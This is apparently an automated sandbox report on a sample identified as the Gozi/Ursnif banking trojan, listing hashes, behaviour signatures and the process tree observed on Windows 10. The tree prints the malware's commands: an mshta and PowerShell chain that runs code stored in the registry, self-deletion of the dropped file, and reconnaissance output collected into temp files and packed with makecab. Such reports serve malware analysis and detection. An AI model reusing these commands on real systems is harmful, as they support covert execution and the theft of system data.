Overview

overview

10

Static

static

5fc612703f844.dll

windows7_x64

10

5fc612703f844.dll

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    01-12-2020 09:54

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General

  • Target

    5fc612703f844.dll

  • Size

    122KB

  • MD5

    897285413e9a2bc5207996e43432078f

  • SHA1

    0da15676430232150a2b2d5b7b9a2cf19d7b3306

  • SHA256

    99b6752f4009fd4bbf0c62cf0f30285fbf28bbdd3c5b7fee0bf1b7fe20a8a406

  • SHA512

    20c986925305276ff52746e0cd8081d8174251e0392ed355a48d94d7febdd5c6955998d9255594b146926bf66886de067a0f942f34ab75b5f1f302794149c9d1

Score
10/10
gozi_ifsbursnifbankerspywaretrojan

Malware Config

Extracted

Family

ursnif

Attributes
  • dga_base_url

  • dga_crc

    0

  • dga_season

    0

  • dga_tlds

  • dns_servers

Signatures

  • Gozi, Gozi IFSB

    Gozi ISFB is a well-known and widely distributed banking trojan.

    bankertrojangozi_ifsb
  • Ursnif, Dreambot

    Ursnif is a variant of the Gozi IFSB with more capabilities.

    bankertrojanursnif
  • ServiceHost packer 1 IoCs

    Detects ServiceHost packer used for .NET malware

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spyware
  • Suspicious use of SetThreadContext 6 IoCs
  • Program crash 1 IoCs
  • Discovers systems in the same network 1 TTPs 1 IoCs
    discovery
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies Internet Explorer settings 1 TTPs 52 IoCs
    adwarespyware
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1244 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 17 IoCs
  • Suspicious use of WriteProcessMemory 99 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3024
    • C:\Windows\system32\regsvr32.exe
      regsvr32 /s C:\Users\Admin\AppData\Local\Temp\5fc612703f844.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1400
      • C:\Windows\SysWOW64\regsvr32.exe
        /s C:\Users\Admin\AppData\Local\Temp\5fc612703f844.dll
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2728
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2728 -s 668
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3040
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\BFC92168-124C-49FC-1463-668D8847FA11\\\AppXxSip'));if(!window.flag)close()</script>"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2648
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\BFC92168-124C-49FC-1463-668D8847FA11").ActitLog))
        3⤵
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4072
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\agp5cn2x\agp5cn2x.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:716
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES87AF.tmp" "c:\Users\Admin\AppData\Local\Temp\agp5cn2x\CSC47653255CBFF4684B676774CEB42813E.TMP"
            5⤵
              PID:1508
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ecmnxvr1\ecmnxvr1.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:420
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8993.tmp" "c:\Users\Admin\AppData\Local\Temp\ecmnxvr1\CSC6317CCE3CDE1451CADE7B112C8689999.TMP"
              5⤵
                PID:2280
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Local\Temp\5fc612703f844.dll"
          2⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:648
          • C:\Windows\system32\PING.EXE
            ping localhost -n 5
            3⤵
            • Runs ping.exe
            • Suspicious behavior: CmdExeWriteProcessMemorySpam
            PID:3752
        • C:\Windows\system32\cmd.exe
          cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\3BDD.bi1"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:68
          • C:\Windows\system32\nslookup.exe
            nslookup myip.opendns.com resolver1.opendns.com
            3⤵
              PID:4092
          • C:\Windows\system32\cmd.exe
            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\3BDD.bi1"
            2⤵
              PID:2672
            • C:\Windows\system32\cmd.exe
              cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\752A.bin1"
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:852
              • C:\Windows\system32\systeminfo.exe
                systeminfo.exe
                3⤵
                • Gathers system information
                PID:1316
            • C:\Program Files\Windows Mail\WinMail.exe
              "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
              2⤵
                PID:1300
              • C:\Windows\syswow64\cmd.exe
                "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                2⤵
                  PID:1532
                • C:\Windows\system32\cmd.exe
                  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\752A.bin1"
                  2⤵
                    PID:2660
                  • C:\Windows\system32\cmd.exe
                    cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\752A.bin1"
                    2⤵
                      PID:4092
                      • C:\Windows\system32\net.exe
                        net view
                        3⤵
                        • Discovers systems in the same network
                        PID:2672
                    • C:\Windows\system32\cmd.exe
                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\752A.bin1"
                      2⤵
                        PID:2276
                      • C:\Windows\system32\cmd.exe
                        cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\752A.bin1"
                        2⤵
                          PID:3724
                          • C:\Windows\system32\nslookup.exe
                            nslookup 127.0.0.1
                            3⤵
                              PID:1056
                          • C:\Windows\system32\cmd.exe
                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\752A.bin1"
                            2⤵
                              PID:1908
                            • C:\Windows\system32\cmd.exe
                              cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\752A.bin1"
                              2⤵
                                PID:1196
                                • C:\Windows\system32\tasklist.exe
                                  tasklist.exe /SVC
                                  3⤵
                                  • Enumerates processes with tasklist
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1172
                              • C:\Windows\system32\cmd.exe
                                cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\752A.bin1"
                                2⤵
                                  PID:2104
                                • C:\Windows\system32\cmd.exe
                                  cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\752A.bin1"
                                  2⤵
                                    PID:1524
                                    • C:\Windows\system32\driverquery.exe
                                      driverquery.exe
                                      3⤵
                                        PID:3248
                                    • C:\Windows\system32\cmd.exe
                                      cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\752A.bin1"
                                      2⤵
                                        PID:2936
                                      • C:\Windows\system32\cmd.exe
                                        cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\752A.bin1"
                                        2⤵
                                          PID:2388
                                          • C:\Windows\system32\reg.exe
                                            reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
                                            3⤵
                                              PID:3440
                                          • C:\Windows\system32\cmd.exe
                                            cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\752A.bin1"
                                            2⤵
                                              PID:2956
                                            • C:\Windows\system32\cmd.exe
                                              cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\752A.bin1 > C:\Users\Admin\AppData\Local\Temp\752A.bin & del C:\Users\Admin\AppData\Local\Temp\752A.bin1"
                                              2⤵
                                                PID:740
                                              • C:\Windows\system32\makecab.exe
                                                makecab.exe /F "C:\Users\Admin\AppData\Local\Temp\89F7.bin"
                                                2⤵
                                                  PID:2712
                                                • C:\Windows\system32\makecab.exe
                                                  makecab.exe /F "C:\Users\Admin\AppData\Local\Temp\CF2D.bin"
                                                  2⤵
                                                    PID:2940
                                                • C:\Windows\System32\RuntimeBroker.exe
                                                  C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                  1⤵
                                                    PID:3460
                                                  • C:\Program Files\Internet Explorer\iexplore.exe
                                                    "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                                                    1⤵
                                                    • Modifies Internet Explorer settings
                                                    • Suspicious use of FindShellTrayWindow
                                                    • Suspicious use of SetWindowsHookEx
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:1332
                                                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1332 CREDAT:82945 /prefetch:2
                                                      2⤵
                                                      • Modifies Internet Explorer settings
                                                      • Suspicious use of SetWindowsHookEx
                                                      PID:3560
                                                  • C:\Program Files\Internet Explorer\iexplore.exe
                                                    "C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
                                                    1⤵
                                                    • Modifies Internet Explorer settings
                                                    • Suspicious use of FindShellTrayWindow
                                                    • Suspicious use of SetWindowsHookEx
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:1264
                                                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1264 CREDAT:82945 /prefetch:2
                                                      2⤵
                                                      • Modifies Internet Explorer settings
                                                      • Suspicious use of SetWindowsHookEx
                                                      PID:204
                                                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1264 CREDAT:82958 /prefetch:2
                                                      2⤵
                                                      • Modifies Internet Explorer settings
                                                      • Suspicious use of SetWindowsHookEx
                                                      PID:4036

                                                  Network

                                                  MITRE ATT&CK Enterprise v6

                                                  Replay Monitor

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                                                  Downloads

                                                  • memory/648-35-0x0000017D31770000-0x0000017D3180B000-memory.dmp

                                                    Filesize

                                                    620KB

                                                    Download

                                                  • memory/1532-51-0x0000000000CC6CD0-0x0000000000CC6CD4-memory.dmp

                                                    Filesize

                                                    4B

                                                    Download

                                                  • memory/3024-31-0x0000000005C90000-0x0000000005D2B000-memory.dmp

                                                    Filesize

                                                    620KB

                                                    Download

                                                  • memory/3024-32-0x0000000005C90000-0x0000000005D2B000-memory.dmp

                                                    Filesize

                                                    620KB

                                                    Download

                                                  • memory/3024-47-0x0000000005C90000-0x0000000005D2B000-memory.dmp

                                                    Filesize

                                                    620KB

                                                    Download

                                                  • memory/3040-57-0x00000000048C0000-0x00000000048C1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                    Download

                                                  • memory/3040-40-0x00000000047D0000-0x00000000047D1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                    Download

                                                  • memory/4072-8-0x00007FFB54870000-0x00007FFB5525C000-memory.dmp

                                                    Filesize

                                                    9.9MB

                                                    Download

                                                  • memory/4072-18-0x00000273B02F0000-0x00000273B02F1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                    Download

                                                  • memory/4072-9-0x00000273B01A0000-0x00000273B01A1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                    Download

                                                  • memory/4072-10-0x00000273B0350000-0x00000273B0351000-memory.dmp

                                                    Filesize

                                                    4KB

                                                    Download

                                                  • memory/4072-26-0x00000273B0310000-0x00000273B0311000-memory.dmp

                                                    Filesize

                                                    4KB

                                                    Download

                                                  • memory/4072-28-0x00000273B0410000-0x00000273B04AB000-memory.dmp

                                                    Filesize

                                                    620KB

                                                    Download